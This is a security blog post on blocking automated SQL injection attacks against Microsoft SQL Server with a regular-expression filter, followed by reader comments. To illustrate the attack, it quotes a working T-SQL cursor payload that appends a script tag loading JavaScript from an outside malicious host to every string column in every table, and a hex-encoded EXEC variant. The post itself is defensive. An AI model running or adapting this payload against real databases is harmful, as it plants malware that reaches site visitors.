Blocking automated SQL injection attacks
SQL injection attacks have been on the rise in the last two years, mainly because of automated tools. We first witnessed these automated attacks in December 2007, and since then very little has changed in the way that these attacks work. Attackers use these automated tools to query search engines for interesting URLs and blast each one with various SQL injection payloads, with the end goal of injecting malicious JavaScript into all string columns in all tables. Microsoft has provided guidance (https://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx) and some tools (https://www.microsoft.com/technet/security/advisory/954462.mspx) to combat these attacks.
Today I would like discuss another technique that one can use to block these automated SQL injection attacks against web applications using Microsoft SQL Server as the backend. Before I go into the technique, I would like to reiterate that using parameterized queries is the best way to mitigate SQL injection vulnerabilities in web applications. You can read this Quick Security Reference document on SQL injections that details various classes of SQL injection vulnerabilities and how to address them in design, development and testing phases.
Any generic SQL injection attack that has to work on multiple web sites will have to construct a dynamic SQL statement to take some malicious action. Let’s examine the following payload used by the automated SQL injection attack:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020......F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
When you remove the encoding, we end up with the following TSQL code:
DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x4400450043004C0041005200450020……F007200 AS NVARCHAR(4000));
EXEC(@S);--
This statement declares a string variable (@S) containing a long hex value converted into a string, and then executes that string as a SQL statement. If one has to build a signature to detect this attack, declare, @<somechars> , varchar, and exec are the keywords that one has to use to construct this payload in that specific order.
It is not necessary that the attacker use hex encoding, as shown in the previous attack. They could have executed the following TSQL script as the main payload:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=https://www.2117966.net/f***jp.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Without going into details of what this script is doing, if you observe carefully you will see that it also uses declare, @<somechars> , varchar, and exec in that specific order.
So if we develop a regular expression that matches these keywords, we end up with the following:
[dD][\%]*[eE][\%]*[cC][\%]*[lL][\%]*[aA][\%]*[rR][\%]*[eE][\s\S]*[@][a-zA-Z0-9_]+[\s\S]*[nN]*[\%]*[vV][\%]*[aA][\%]*[rR][\%]*[cC][\%]*[hH][\%]*[aA][\%]*[rR][\s\S]*[eE][\%]*[xX][\%]*[eE][\%]*[cC][\s\S]*
I included both upper case and lower case letters and an optional % character after each character, as ASP seems to silently strip % characters that are not followed by two hex characters (0-9, A-F). Some automated attacks use these extra % characters to bypass blacklisted keywords.
This regular expression should effectively catch most of the generic automated SQL injection attacks. But it won’t catch targeted attacks that inject the UNION operator or inference payloads to read the backend objects, and then execute a non-dynamic SQL statement.
Now that we have a regular expression, we need to match incoming web requests against this regular expression. One of the earlier recommended tools from the IIS team is called URLScan. This tool helps server operators defend against attacks by scanning URLs for a keyword or a set of keywords, but it doesn’t have the ability to match a URL against a regular expression. The IIS team has shipped a new module for IIS 7, URL Rewrite, that has more features, including regular expression matching. Nazim Lala has blogged about using URL Rewrite to block automated SQL injection attacks using this regular expression. You can check it out at https://blogs.iis.net/nazim/archive/2010/03/23/blocking-sql-injection-using-iis-url-rewrite.aspx.
You can also use this technique to block generic automated SQL injection attacks if you use a firewall product that lets you create blocking rules using regular expressions.
-Bala Neerumalla
Comments
- Anonymous
November 02, 2010
The blog provides helpful information regarding the topic and it also gives a vast knowledge as well which helps us in our studies and in practical life. - Anonymous
November 11, 2010
Indeed a very good read! Very informative post with pretty good insight on all aspects of the topic! Will keep visiting in future too! - Anonymous
December 07, 2010
I would like to appreciate the work of blog author that the person provided us with an extremely excellent information regarding the topic. Ireally learned something from this blog and started to contribute my ideas via commenting on this blog. Keep it uphttp://usedhpcomputers.com/ - Anonymous
August 07, 2012
In the vast majority of the cases a simple measurement against SQL injection is to remove metadata reading permission, that is, DENY VIEW DEFINITION. If it's not a *Hibernate stuff, it should work woithout schema reading ability but using database access blind is a way bigger challenge. Of course it's not a solution but a very quick workaround. Solution is to hire/train better developers :)Cheers,